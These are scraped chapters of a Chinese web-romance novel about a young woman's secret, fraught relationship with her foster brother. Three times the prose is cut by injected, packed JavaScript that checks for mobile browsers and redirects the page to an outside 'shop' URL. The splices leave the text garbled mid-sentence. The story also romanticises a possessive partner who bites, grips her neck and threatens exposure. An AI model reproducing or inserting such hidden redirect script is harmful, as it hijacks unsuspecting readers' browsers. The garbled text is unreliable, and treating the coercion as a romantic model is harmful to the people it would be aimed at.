梁思悯塞着耳机听歌,闻言顿时摘耳机,脑中搜索片刻,撇撇嘴:“汤家的男的都软趴趴的,女儿倒是一个比一个生的好,但我觉得梁思谌不配。” 周邵红扭头,给了梁思悯一巴掌:“你就这样诋毁你哥哥。我是觉得人家是女孩子,既然想认识,我总要安排见一见,毕竟你哥哥也适龄,就当多交个朋友吧。” 梁思悯托着脸,表情十分的纠结:“我很难想象他谈恋爱是什么鬼样子,嘶——太可怕了。” 云舒缄默不语,低着头,一句话也不敢讲,忍不住想,他会去见吗?也不知道,汤小姐是什么样。 她掏出手机,去搜自己知道的汤家人的名字,汤氏经商也就两代人,再往上一代,几乎全是读书人,称得上书香门第,汤…… 汤家跟梁叔叔和阿姨同龄的老二,应该是博亚的汤赫平,他有个独生女,叫汤斯嘉。 云舒甚至能在网上看到她照片,很漂亮,气质温柔,但却很有力量感,是一种健康的生命力,像…… 像风中的大树。 云舒握着手机,突然间有些难过。 那种难过没来由,像是平静的湖面骤然泛起的一丝涟漪,她甚至不明白,究竟是风吹过,还是雨落下。 梁思谌的消息跳进来,关闭手机前给她发了一张照片,是他的手,抓握着一瓶水。 【你难得夸我,给你看看,下次抓你手拍,我觉得会更好看。】 【刚刚怕你哭,都没敢跟你说话。】 【云舒,我已经够迁就你,再退缩,我就真生气了。】 好像他是肚子里的蛔虫,刚生出一点退意,就被他点明。 于是云舒吓一跳,手机都掉下去,把旁边梁思悯都吓着。 梁思悯余光里瞥见云舒手机界面熟悉的头像。 “梁思谌怎么天天骚扰你,他是不是有病。”看云舒那表情,以为梁思谌又做过分的事,故意骂他,因为觉得小舒性子软,受了委屈怕她不说,总要立场鲜明地站在她这边,好让她有勇气抗争。 云舒捡起手机的瞬间就按熄了屏幕,呼吸急促,心脏狂跳,连指尖都在发颤。 “没……没有。”她强撑着说。 她突然觉得,自己像是长在潮湿阴暗土地的蘑菇,本身就见不得光。 作者有话要说 来了 这章红包。然后明天上夹子,更新在十一点以后,勿等 第 18 章 我是不是太惯着你... 云舒今年提早回了学校,实在在家中待得忐忑,每次接到梁思谌的电话都仿佛偷情要被抓。 连甜蜜都带着苦涩。 她可以同这个世界上任何人恋爱,唯独不能是梁思谌,可命运好像在给她玩笑,偏偏最后是梁思谌。 哥哥,这两个字叫了太多遍,仿佛天然同他划清了界限,那界限如此明晰,到最后变成沟壑,以至于她想抹平,可怎么都擦不干净,也填不平整。 她在校外住,同室友关系还好,但总归没那么热络,大约这两年更封闭自己,连朋友都很少了。 一个人埋头在书堆里,厚重的专业书籍够她消磨很多时间,然后匀一点闲暇,去应付梁思谌。 她知道自己不能再这样,事情到这一步,逃避是没有意义的了,一切都回不到从前了,想办法让梁叔叔和周阿姨接受,或者当断则断,同梁思谌彻底断干净才是对的。 可有时想得明白是一回事,做不做得到,又是另一回事,于是只好先抽离。 总要慢慢来。 她喜欢慢慢来,太过激进的方式,会让她破碎、疼痛、不安。 只是慢慢来,她又会沉溺在安稳安全的壳子里不愿意出来。 梁思谌在国外的两年,有时候隔一个月就会飞回来一次,跟她约会一两天,再飞回去。 云舒甚至都没太感受到异国恋的感觉,还总要提醒他,不要这样。 他压迫感太重,总是不给她拒绝和逃避的机会,云舒觉得自己根本招架不住。有那么几个瞬间,会觉得不如就摊开讲,总要有个决断。 当他离开,自己一个人安稳读书,偶尔跟家里通话,她又会像鸵鸟一样,觉得就这样下去也不错。 想把一切都交给时间,一切都交给命运。 或许是她一向命不错,每逢人生大事,总会逢凶化吉。 所以尽管她常常会害怕周阿姨和梁叔叔发现,发现他们的儿子为了她国内国外两头跑这么勤,到最后还是什么也没做。 两年后他回国,她还是半点也没有努力,依旧同他保持着地下恋人的状态,每次回家都忐忑。 唯一一点进步,大概是从瑟瑟不安的忐忑,到最后已经变成面不改色的忐忑。 “是我招惹你,是我离不开你,是我强求。你到底在害怕什么。梁思谌有时候恨她是块儿木头。 云舒只是摇头:“没有。 他很多次威胁她要对所有人讲,每次云舒都会惶恐地看着他,眼睛里都是泪,求他:“哥,不要。 他恨极了的时候也双目赤红看她:“我真不知道到底是我在逼你还是你在逼我。”- 两年后的暑假云舒回衍城过假期 她其实在衍城有自己的房子了梁思谌撺掇周阿姨给她买的离家大概只有半个小时的车程但云舒没有搬过去住她也说不上是什么心理大概是害怕她搬出去了梁思谌会更明目张胆虽然那样被发现的概率会低一点但她努力维持的平衡可能就要打破了。 她还是害怕平静的生活起波澜。 假期没多久于舟舟来约她去参加同学会高中时候很要好的朋友后来去南方读书两个人联系渐渐少了因此突然接到邀请的云舒没有犹豫就答应了。 阔别多年许多同学都毕业了有些拿到了心仪的offer有些开始筹备婚事更有甚的毕业证和娃两手抓都开始给孩子换尿不湿了。 也有郁郁不得志的在同学会上闭口不谈职业和理想只是说笑插科打诨气氛还算热烈。 一场同学会简直人生百态云舒微笑地看着觉得陌生又觉得熟悉她这个人念旧又重情义只觉得好像还没几年大家的变化都好大一切都在滚滚向前时间从来无情。 于舟舟今天一直笑得开心云舒却突然发现她偷偷掉了两颗眼泪。 云舒犹豫片刻还是抬手轻抓了下她的手:“怎么了?” 人在强颜欢笑的时候是害怕被拆穿的她那张欢喜的皮再也绷不住突然低头哭起来。 她说:“我哥要结婚了。” 云舒没听明白但看她那么伤心她不仔细讲她也不敢多问只是抓了抓她的手企图给她一点安慰。 一直到同学聚会结束于舟舟问她:“舒舒能陪我出去走走吗?” “当然。”云舒带她出了酒店餐厅没去参加他们的饭后娱乐。 这边挨着衍江两个人没打车穿了两条街沿着江边的环江观景路走隔着半人高的栏杆那边是江水潺潺。 盛夏的热浪裹在身上实在不好受但夜晚沐浴江风也有细微的凉爽。 于舟舟终于绷不住哭了起来像是憋在心里太久终于找到了宣泄口。 她老家在衍城爸妈长居在南城高中时候回户籍地参加高考才跟着小姨住。 小姨家里的哥哥比于舟舟还要大两岁。 于舟舟跟她哥关系不太好以前经常羡慕云舒有梁思谌这 么好的哥哥。 所以云舒虽然也见过她哥但印象不深。只记得长得就很凶如果梁思谌是那种带着疏离的冷凶于舟舟的哥哥就是锋利又直白的凶仿佛功夫电影里手里缠上绷带就能上台打拳的男人野性十足攻击性显露眉眼。 她哥哥和家里关系都不太好总是沉默寡言我行我素。 小姨和小姨夫都不太管他。 在高考完那个暑假于舟舟和他产生了一点暧昧。 他不是小姨和小姨夫的孩子小姨和小姨夫都没有生育能力这孩子是个孤儿养在他们家小姨姓陈小姨夫姓李她那个哥哥一直姓谢于舟舟第一次知道原来户口都不在一处。 但是没有人告诉她那是爸爸初恋的孩子。 事情的复杂程度超出了她的想象。 当年爸妈是相亲认识的但其实爸爸有个青梅竹马的女朋友他们在闹矛盾的间隙相的亲。 爸爸家里出了点问题奶奶逼得紧妈妈又对爸爸一见钟情一切都发生的迅速且巧合两个人闪婚结婚三年才有了于舟舟也是那时候才有时间筹备婚礼举办婚礼的时候爸爸的初恋出现在婚礼现场她带了个孩子比于舟舟还大两岁算一算时间妈妈就是鬼迷心窍地觉得那是爸爸的孩子怎么看怎么觉得他和爸爸长得像。 而爸爸的初恋一直带着对爸爸的恨乐见其成地加以反复的暗示三个人互相闹了有四五年爸妈终于快要达成和解那个女人突然去世了她是个孤儿把所有的感情都寄托在爸爸身上所以失去爸爸后觉得天都要塌了她太想要一个孩子觉得孩子才是不可分割的永恒亲缘关系她曾经逼爸爸给她留个孩子而那时爸爸和妈妈已经结婚不可能答应她后来她如何要来的孩子没人知道只知道她一直一个人独自生活。 她死后爸爸坚决要把她孩子接过来养妈妈当然不同意两个闹离婚于舟舟的爸爸异常坚定哪怕是离婚这孩子他也要养。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13414188|124169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 后来的后来于舟舟的妈妈才知道爸爸曾经给过那个女人承诺说应付完家里会离婚所以结婚的头两年两个人根本没要孩子只是婚姻带来的牵绊太深很多次他都下定决心又因为这样那样的原因不得不搁置 但他没想到的是他刚决定忘掉过去往前看那个女人就死掉了他的痛悔一瞬间攀到顶峰所以抱着毁灭 一切的态度坚决要替死去的前女友养孩子。 于舟舟爸妈两个人关系最焦灼的时候,也是两家互相最需要彼此的时候,他们好像陷入到了死局,一边迫切地想要毁掉这种满是脓疮的婚姻,一边又无法分离。 最后是小姨夫出面讲和,说不如孩子交给他和妻子养,他和于舟舟的爸爸是发小,和于爸的初恋也是熟人,他作为两方关系都沾的人,没少受夹板气,一向大气不敢出,但这时,也只有他能让于爸信任,他不会站在两姐妹那边去伤害孩子。 两个人不孕不育,以后不会有孩子,只有这么一个孩子,以后会对他好。 但小姨怎么会同意,这小孩存在的意义就像是提醒她姐姐的痛苦,但最后事情无法调和的时候,如果想要维持住表面的平静,总要有人做出牺牲和让步,最后的结果就是,小姨和小姨夫养了那个孩子,于爸和于妈搬离了衍城,去往南城开启了新生活。 多年以后,时间快要抹平一切的时候,于舟舟和那个男生发生了亲密的关系,因为她所谓的哥哥告诉她,他和小姨一家没有多大关系,他只是小姨夫朋友的孩子,养在身边只是出于善心,甚至于他的户口都不在他们那里。 于舟舟也有过心理负担,到最后只是想,大不了找个没人认识的地方同他一起生活。 于舟舟相信了他,她怀着少女甜蜜的向往和他有了进一步的关系,她做好了一切的准备,最后却以母亲重重的一耳光结束了这段显得畸形的恋爱。 因为妈妈差点心梗,她害怕了。 这件事她同谁都没有说过,太过难以启齿和匪夷所思,两代人的纠葛比故事会还要复杂糟心。 现在,她那名义上的哥哥要结婚了。 她突然情绪失控后,不得不承认:“我竟然真的爱他。” 云舒听完,只是抱了抱她,不知道该怎么安慰她,只是说,都会过去的。 但她呢? 什么时候过去,她也不知道。 云舒大概是被于舟舟影响,整个人都陷入到一种莫名的沮丧中。 入夜,梁思谌进了她房间,为她最近的冷淡而抗议。 “我这么爱你,你就不能多爱我一点。”梁思谌喜欢从身后抱她,她身形要瘦弱一些,个头也比他矮很多,他可以把脑袋完全搭在脖领,手臂锁在她肋下,将她嵌进怀里。 云舒在哭,呼吸都放得很轻,浑身紧绷着,每一寸神经都竖起防备。 “哥……我们……” 她声音很轻,那么小心翼翼,仿佛怕碰碎什么。 梁思谌的动作都忍不住放缓,嘴唇轻吻她耳垂:“嗯?” 他的亲昵和温柔让她更觉得难过,但她最后还是忍不住说:“我们要不,算了吧。” 梁思谌一口咬在她脖子,那是一个带着血腥味的吻,他的声音冷得像是冰。 “小舒,我是不是太惯着你了?” 作者有话要说 来了 这章也红包掉落 第 19 章 你逼我的 两个人对峙着,陷入某种焦灼的氛围。 每次他一发脾气云舒就有点害怕但大概恐惧积攒太多,所以这会儿委屈多过害怕,连胆怯都被压下去了。 她只是摸了摸自己的脖子有点疼,应该是真的被咬破了。 咬在这么明显的地方,这么热的天,她连穿衣服遮都不能,于是瞪着他:“你根本没有,是你到我房间的。你咬我我又没有咬你。” 那意思分明是他哪里有惯着她。他步步紧逼咄咄逼人,竟然还在说惯着她。 她的语气太过冷静根本不像是气话。这让梁思谌感觉到愤怒和难堪。 “所以在你心里我们根本不是在恋爱一直都是我逼你是吗?” 他点点头半是自嘲半是阴郁地说了句“确实,没错,是我逼你我竟然还奢想,你对我已经有点不同了。从一开始我就错了所以我怎么做都是错的。可难道不是你答应跟我试一试?是我没给你拒绝的机会吗?我给了你很多的方案是你自己不要的。你说你要适应,我也没有再逼你吧?” 他想不明白,自己究竟错得有多离谱,竟然这么久了一丁点都没能打动她。 她还是那么委屈委屈得像是从来没爱过他。 真的一丁点都没有吗? “我……”云舒抿唇短暂的赌气之后轻轻吐出一口气:“我不是那个意思。” “你就是那个意思。”梁思谌一瞬间想起很多从前的细节神色变得更加的冷漠和疏离。 他倾身过去扣住她脖颈用一种低缓而压迫的声音说“从最开始你就认定是我逼你无论我说多少遍要你给个痛快你都不给但接受得又不情不愿你根本就不想跟我试你只是学不会拒绝接受不了冲突发生罢了。” 那些甜言蜜语那些迎合什么狗屁试一试、谈恋爱都是为了稳住他不发疯的手段罢了。他早就猜出来她只是觉得两个人聚少离多所以才违心答应他他竟然还是陷进去了。 两年的异国恋他多忙都会抽空飞回来一趟 是他太天真以为逼迫她能叫她看清自己真心。 到头来还是他自作多情。 那种感觉太糟糕了以至于他都怀疑自己是个十恶不赦的人。 或许吧或许他真的就是这么糟糕所以她才会这么委屈。 他像是被踩了尾巴的狼每一个呼吸间都是自尊 心被击碎的焦躁和愤怒,他再次点头,“是,是我非要到你房间来,我以为我们在谈恋爱,云舒,你每天躲着我,我们谈什么?我做什么了吗?我在自己家里还偷偷摸摸,我不够迁就你?我在你房间里留宿过?我同你关上门逼你发生过关系叫你难堪?还是在你眼里,谈恋爱根本就是你稳住我的托词,我他妈就不该为这段感情努力一丁点,我越努力,越像个傻子。 他深呼吸,过了许久才冷着脸吐出一口气,云舒从来没见他发过这么大的脾气,对她更没有过。 或许那句“我是不是太惯着你了 云舒鼻子有点堵,明明很委屈,很难过,可突然之间什么也说不出口了。 “说话。 他最受不了她的沉默,好像事不关己,只有他一个人失控。 云舒不知道说什么,只是有点悲哀地看着他。 两个人的关系发展到这种地步,她大概是要负很多责任的。 可他也真的很过分。 至于哪里过分,她却也说不清。 梁思谌攥住他手腕:“来,打我,你动手啊,我不还手。或者你现在就出去喊,说我强迫你也好,说我逼你也罢,你哭一哭,保管我爸妈可以打死我。有什么大不了的,被知道了又如何,难道你就这么不信我能护得住你,我能替你挡在前头?你不信,我认了,我陪你演,我藏着,到最后还是我逼你,云舒,讲讲良心,我对你真这么不堪吗? 云舒眼睛都红了。 她叫他:“哥…… 想说我们不要这样,可话到嘴边又哽咽。 “我不是你哥,我很失败,从小到大我都没教会你如何处理事情,所以到现在是我自作自受。梁思谌站起身,浑身上下溢满痛苦和悲愤。 “对,是我自作自受,我没有凶你,我只是恨我自己。你不用摆出一副我欺负你的样子。 云舒只是沉默着,看着他这样,她会心痛,觉得呼吸都艰难,想抬手碰一碰他,可发觉惹他生气的就是自己。 “哥……她还是忍不住叫他,试探着,去靠近他,看他冷着一张脸,顿时又难过,她深呼吸了片刻,仰着脸怒视他,“是,我就是觉得你逼我,我就是想回到过去,我不想伤害叔叔和阿姨,我也不想伤害你,你为什么非要逼我做决定。你逼我,我还不能难过。我原本生活很平静,是你非要把我拽进来,你每次晚上进我房间我就觉得很害怕,我常常做噩梦,梦到谁突然推开门撞破,我没办法面对叔叔和 阿姨失望的眼神。” “可是已经回不去了。”梁思谌残忍地提醒她,“你别忘了云舒,是我耐着性子陪你玩地下恋,你要是不愿意,我现在立马可以去跟所有人坦白,我向来不怕死,你知道的。” “就许你逼我,不许我委屈难过。”云舒声音都带上哭腔,“你为什么这么强势,我很害怕,你同我说几句好听话又怎样?” “我好听话说得还少了?” “不够。”云舒偏过头,“你同我谈恋爱,够不够我说了算。” “你到底要我如何?”梁思谌说话句句踩雷点,“你讲出来,我什么没替你做过,我说过,除了分手,你要求什么都可以。我就是逼你了,我现在同你好好讲你不听,那我也不介意卑鄙一点,这坏人我做定了,不然你去报警抓我好了,我活该的。” 他攥紧她手腕,把她往身前拉,强迫她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13414189|124169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬头看他。 “你无耻。”云舒刚平复的心情又被气得头昏眼热,她眼睛不争气地又泛红,“你怎么这样。” 梁思谌冷嘲一句,“你连骂人都不会,委屈没有一点用,求财求色还是求名,你想清楚了吗?你说你想回到过去,我告诉你回不去了,做那种假定没有任何意义了。你现在要什么,实际一点,告诉我。” 云舒闭嘴了,然后两个人沉默着,谁也没说话。 仿佛在冷战。 真是憋屈,吵架都吵不起来。梁思谌真想摔门走了。 但他偏不,冷战也要在她面前杵着,他不会给她空间去冷静,要难受一块儿难受。 云舒面无表情,可是她内心里想了许多许多,她确实感觉到委屈,可他猜错了,说同他试试,并不是委曲求全,她是真的想跟他好好在一起的。 但她也的确努力不出什么,因为无能为力,所以难过悲哀。 她想要什么,她自己都不知道。 随着时间的流逝,两个人之间的气氛越来越冷凝,梁思谌真的快要受不了了。 他手指微微用力,攥着她的下颌,一副强迫加施压的恶劣样子。 云舒却卸了力气,肩膀微微垮下来,然后柔弱而颓废地倒在他肩膀和锁骨之间。 她的手臂微微张开,虚虚地搭在他腰前,她有些难过地讲:“哥,我真的不知道,我也不知道我想要什么,我可能太无能了,我什么都想要,可我也的确什么都要不起。但答应跟你在一起,我没有委曲求全,也没有故意敷衍你。” 说完,她微微抬起脸,手也抬起来,搭在他的肩上,踮起脚尖,在他唇上印下浅淡的一个吻:“我不知道我想要什么,我什么都想要,包括你,我只是没想好怎么要。” 梁思谌微微偏过头,震动有之,喜悦有之,悲哀也有之。 种种复杂的情绪纠缠在一起,让他忍不住生出一些郁气:“怎么,打一巴掌再给颗甜枣?” 云舒抿着唇,不说话。 梁思谌“哼”一句,“我确实是你养的狗吧,你在这儿训狗呢?” 云舒气得脸红:“我没有。” 梁思谌捉住她两只手的手腕反剪在身后,低头强势地吻她,一边吻一边含糊不清讲:“想不明白就别想了,我给你什么你就接着。再说一句算了戳我心口,你也别怪我真的发疯,到时候你怕什么我就来什么,你越不让我讲,我就越讲得满世界都知道,你越怕我进你房间我就越要进来,门反锁上我就是在这儿跟你干什么,谁也管不着,被发现了又如何,反正我不要脸。你试试。” 云舒被气得胸口疼,不停咬他,到最后哪里是接吻,分明是两头野兽在撕咬,她累极了,瘫倒在床上,最后还要爬起来咬他一口:“梁思谌你个疯子。” 他声音冷静:“你逼我的。” 作者有话要说 来了。 第 20 章 病得不轻 “你跟我睡吧。云舒突然脱衣服,然后脱到一半,似乎觉得不对,于是倾身过去,脱他的衣服。 今天叔叔和阿姨不在家,梁思悯留宿在朋友那儿,家里其实没人,所以他才会过来找她,想跟她待一会儿。 但不知道什么时候他们就会回来。 云舒其实知道,他们回来了顶多也就是问一句云舒和梁思谌在不在家,他们从来不会私自进他们房间,被发现的概率很低。 但谁又能保证万中无一呢? 云舒太谨小慎微了,梁思谌是那种只要有百分之一的可能,他就敢赌自己是那百分之一的幸运儿,云舒却恰恰相反,只要有百分之一搞砸的可能,她就会不断暗示自己是那倒霉的百分之一。 他们从本质上就不是一种人,又有着这么深的牵绊,无论从哪方面来说,都很不相配,不该在一起的。可偏偏他们就走到了这一步。 或许爱情就是不理智的。 云舒无法立马改变自己,去做一个洒脱勇敢且坚定的人,她的性格早就在人生的前二十年反复锤炼定型了。 她现在即便咬着牙不断暗示自己,唯一敢做的,也只是赌自己不会是那倒霉的百分之一,同他偷偷去做些不敢被人发现的事。 梁思谌是从自己房间过来的,两个人的卧室甚至都不同层,云舒住在三楼,梁思谌住在四楼。 ——其实最开始两个人是住过隔壁的,只是后来大了,总是要避嫌的,不是亲生兄妹,更要留意分寸。  那时谁又能想到,两个人有一天会偷偷躲在一处做这种事。 他甚至连衣服都还没换,只是套了一条休闲裤,上身还是衬衣,扣子并不好解,等他反应过来的时候,云舒也只是把他的上衣扣子全解开了。 梁思谌眉头紧蹙片刻,旋即便恢复面无表情,就那么看着她,似乎想要看看她究竟能到什么地步。 脱着脱着,云舒的动作就慢下来,似乎是有些难堪,颓丧地坐着,手掌还贴在他胸前。 她说:“你或许也没有那么喜欢我,只是觉得这件事有挑战性,你这辈子太顺风顺水了,没事总要找点苦吃。 梁思谌气笑:“拐着弯骂我贱? 她可真会理解。 “你非要这么理解我也没有办法。 “行,你气我有一套,谁教你的?梁思谌思索片刻,“我这么教过你? 云舒撇他一眼,点头:“是,你教我的。你说被误解的时候,不要急着争辩,怀疑一旦 产生在对方的心里这罪名就已经落实。不如顺着说看谁气死谁。” 梁思谌点头:“合着我自作自受。” 他今天说了好几句自作自受好像她是他的报应他的劫难。 但他又何尝不是她越不过的山峰。 “你教我很多哥爸妈去世后我以为自己没有亲人了是你手把手教我怎么学习如何跟人相处我几乎所有的第一次都是在你的看顾下我长这么大所有称得上优良的品质也几乎都和你有关。你让我站在你的对立面我做不到如果你想我什么都可以给你不过是爱情装我也装得会……” 梁思谌脸色巨变那表情称得上勃然大怒了就那么瞪着她手不自觉掐在她脖子:“你说什么?” 云舒抱住他的手眼泪婆娑:“我一开始就是这么想的但我没有我想和你好好在一起 梁思谌沉默许久最后只是冷笑一声。 他不会再上她的当了。 “我不明白我在国外的两年你主动跟我打过几次电话或者视频你主动跟我分享过几次你的现状你生病住院还是我突然回国才发现公寓进贼你大半夜不敢回家临时住酒店还是公寓的管家联系我我才知道……云舒细节太多了我不想一一赘述你让我感觉你从没爱过我你同我没有半点恋爱的样子我感觉我还是你哥哥的时候你反倒粘着我我做你男朋友你却半点都不需要我。我骗自己你只是暂时无法适应你只是需要时间可我两年哄着等着换来的只是你一句算了。” 梁思谌平静地看她他压下自己翻涌的情绪在极短的时间内恢复冷静:“没关系我伤心是我活该别以为这样我就会放过你你就算装你也要给我装到底。我只是想告诉你一句我不是个傻子我也不是没有心。” 即便到这时候他再口不择言也不会说那我们算了吧算了就算了。 因为内心深处其实真的害怕她没有爱过他丁点。害怕真的就这么算了。 梁思谌折起身慢条斯理地系着自己扣子:“我难道是个鸭子吗?你想要我就要起反应上一秒还吵得死去活来下一秒你就要跟我睡觉我没想到我还没疯你先疯了?” 他“嗤”一声“只会脱衣服脱完你会吗?知道怎么能让男人有反应?不会撩拨不会勾引别学别人乱扑腾我还没饥渴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13414190|124169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到那种程度。 ” 别以为他不知道她怎么想的,她这么随便无所谓的态度,不过是觉得他睡完可能就腻了,不会再纠缠她了。 她把他当什么?又把自己当什么? 说完,丢下一句:“你自己想清楚,我不希望再听到第二次你说算了,云舒,除非你下定决心彻底跟我划清界限告诉所有人你不爱我你不要跟我在一起你一辈子都不想和我有牵扯,不然我们算不了,你就是要哭也在我怀里哭,在我床上哭,你就是要死也要我陪你去死,做鬼我也缠着你。” 云舒想同他好好说话,结果他又发疯,她气得拿枕头丢他,闷声说:“你没试过你怎么知道我不会。你别忘了我学医,你懂的我都懂,你不懂的我也懂。小时候什么都是你教我,但不代表只有你教我。” 梁思谌扯着唇角似笑非笑地“呵”一声,突然俯身看她:“我懂的你都懂?我不学医,也没学过解剖,更不懂激素和太细致的人体构造,但我知道我喜欢你骑我,这你也知道?” 云舒深呼吸,到最后骂一句:“你滚。” 挨得那么近,梁思谌顺势吻她薄怒而紧抿的唇,故意作对似地,撬开她的牙齿,要她张着嘴同他接吻,看她眼里慢慢凝起水雾,泛上一点情潮,终于才放开她,照旧吻掉她眼泪,最后再亲吻她耳垂,低声说:“我甚至喜欢你生气的样子,看起来还鲜活点,多骂几句,我爱听。” 云舒不想理他,气得胸口都是疼的。 “你有病。” “嗯。”梁思谌指腹摩挲她嘴唇,“还有吗?” 云舒拍掉他的手,狠狠闭了下眼睛,半晌认命似地松了劲儿,“没了,你睡去吧,等我闲了去搜搜骂人语录,下次再骂你好了。” 她的确连骂人都不会,长这么大都没遇到过大的冲突,更没遇到过像他这样的人,因为即便遇到了,她大概也远远避开了。 可惜她避不开梁思谌,或许上天就是喜欢开玩笑,那些你害怕的,你恐惧的,到最后都会找上来。 梁思谌不逗她了,这次真的打算离开了,“嗯”一声,“可以,下次床上骂,当调情了。认真学。”他拍了下她脑袋。 云舒:“……” 这人真的是病得不轻。 作者有话要说 来啦 更个短章,这章红包掉落,比心 第 21 章 她的事我会管,你... 滴答,滴答。 墙上的钟表均速走着,云舒盯着看,慢慢走了神。 这里是梁叔叔的办公室,装修很老派,因而有一种肃穆的庄重,显出一点压迫感。 同梁叔叔给人的感觉很像,严肃、端正、一丝不苟。 像那种运筹帷幄的大家长,叫人不敢轻易冒犯。 云舒对梁思谌的惧怕,其实很大一部分来自于梁正平的映射,梁思谌跟他爸爸在某些方面很像。 如果云舒对梁思谌的畏惧有两分,那对梁叔叔的畏惧大概有七分。 那种畏惧并不是他有多么的冷酷和无情,而是敬而生畏的畏,会害怕做错事被他知道,会害怕他因为你的某些举动而失望。 因为渴望得到他们的认可和喜爱,所以力求表现出自己最好的一面,这是她从小到大的行为准则。 她努力营造的好孩子的形象,如今就像是薄薄一张纸,一戳就要破了。 没有妹妹会跟自己的哥哥发展出这样的感情,尤其他们从小到大都亲密无间,爱情掺杂亲情之后,哪一种感情都变得不够纯粹。 就好像,要亲手毁掉自己多年来建立的信仰。 梁思谌大约永远不会懂这样的感觉,他从小到大拥有的太多,所以不害怕失去,云舒没有,她手里能攥住的,只有很小很小的一点,每一分的丢失都会压垮她。 她那么珍而重之的感情,不敢轻易将它们悬在钢丝上。 云舒无法给他阐明这种内心曲折的感受,也知道这是她自己的劫难,她必须要自己去面对自己的内心。 唯独这件事,他永远也帮不了她。 哪怕他为她挡在叔叔阿姨面前,也不能让她宽慰一分,因为她害怕的,从来不是被指责。 云舒好半天才回过神,揉了揉自己僵硬的脸和酸涩的眼眶,努力让自己显得不要那么悲苦。 好在周阿姨去开会了,大概半个小时后才会回来,她低头,翻看一本杂志,密密麻麻的字像是蝌蚪,慢慢游动着。 她又走神了。 梁叔叔因为最近生病了,周阿姨来替他盯着,季度展销会的关口,要处理的事情多,梁思谌又空降CEO,周阿姨可能也害怕他镇不住场子。 早上上班的时候,周邵红随口说了句:“走啊小舒,陪阿姨去上班。 云舒当时没反应过来,下意识点了点头。大概是心虚,觉得阿姨可能发现了什么。 是试探吗? 还是别的…… 她脑子里一瞬间天人 交战,在极短的时间里,大脑是无法理出明确的逻辑的,所以即便她很冷静,还是在一瞬间失去了理智,连拒绝都不敢,稀里糊涂上了车。 到了车上她才知道,是蔡姐说她最近在家里闷闷不乐,又说昨天去参加完同学会,她的情绪就很差,周阿姨只是想叫她出来透透气。 她松了一口气,但又莫名感觉到难过。 司机开了一辆保姆车,颖姐也在,熟练地给周邵红泡咖啡。 颖姐笑着问云舒一句:“小舒也来一杯吗? 云舒木然地点点头,或许她自己都意识到自己太僵硬,于是笑了笑,“帮我加两份糖,谢谢颖姐。 “小舒吃什么都爱甜一点,以前少爷怕她蛀牙,看得紧着呢。颖姐看向周邵红,“转眼都长这么大了。 说起来,俩人也就差五岁,但大概梁思谌对两个妹妹太严厉,管教很多,总显得年龄差很多。 周邵红也不禁感慨:“时间过得真快,梁思谌今年都……快二十六了。 “少爷要是勤快点,您都能抱孙子了。颖姐打趣。 周邵红短促笑一声,“他那眼光比天高,性格也差劲,自己都满不在乎的,还是寡着吧。 她在翻看平板上的新闻,顺便看一看股市行情,她今天穿一身职业套装,偏休闲,正式又不失优雅,云舒记得刚来梁家的时候,周阿姨还很忙,那时的她明艳动人,仿佛电视剧里常演的那种事业女大佬,眉目温柔,但又杀伐果断,好像什么事对她来说都游刃有余。 她太光芒四射,云舒对她仰望更多,因为崇拜,所以不敢亲近,而周阿姨又不是一个很会照顾别扭小孩的人。 所以很长一段时间里,云舒真的觉得梁思谌就是她的全部,是她溺水时能抓住的唯一一根稻草。 可照顾是一回事,论起恩情,她真正的贵人是叔叔和阿姨,她欠他们更多。 而且越长大,她越能明白,她从他们身上得到了多少。 屏幕上的线条乱七八糟,云舒一概看不懂。 其实从前阿姨试图教她,但那时还小,人又敏感,被电视和网络上的一些论调影响,想要表明自己对梁家的财产毫无觊觎之心,每次都摇摇头,说自己看不懂、学不会。 久而久之,她就真的看不懂也学不会了。 而梁思谌从小就是往继承人方向培养的,很年轻的时候梁叔叔就会带他去公司,开会、见客户,有时重要的宴会,都会带上他。 至于梁思悯,当年梁爷爷的太太是个混血外籍人 家世显赫异常英年早逝后梁爷爷就常年定居她的家乡了孤独一个人。 当年梁思悯还很小的时候就和爷爷很亲一次探望过后夫妻两个就和梁思悯商量留她在那里陪爷爷一起住。 她的姨奶奶终身未婚对梁爷爷一直有偏见但却对这个很像奶奶的小孙女感到亲切她去世后所有的遗产一部分捐给了慈善机构剩下的全部留给了梁思悯并给她建立了大额信托据说所有资产加起来足够她挥霍几百年。 这些不会有人放在明面上讲但云舒心细、早熟什么都察觉得比别人更快更细致她从很早时候就清楚地知道尽管她在这里住了十几年但其实她根本就不属于这里。 过了会儿周邵红忽然偏头问云舒:“对了小舒阿姨问你你们年轻人……很排斥相亲吗?” 云舒的心还是提了起来。 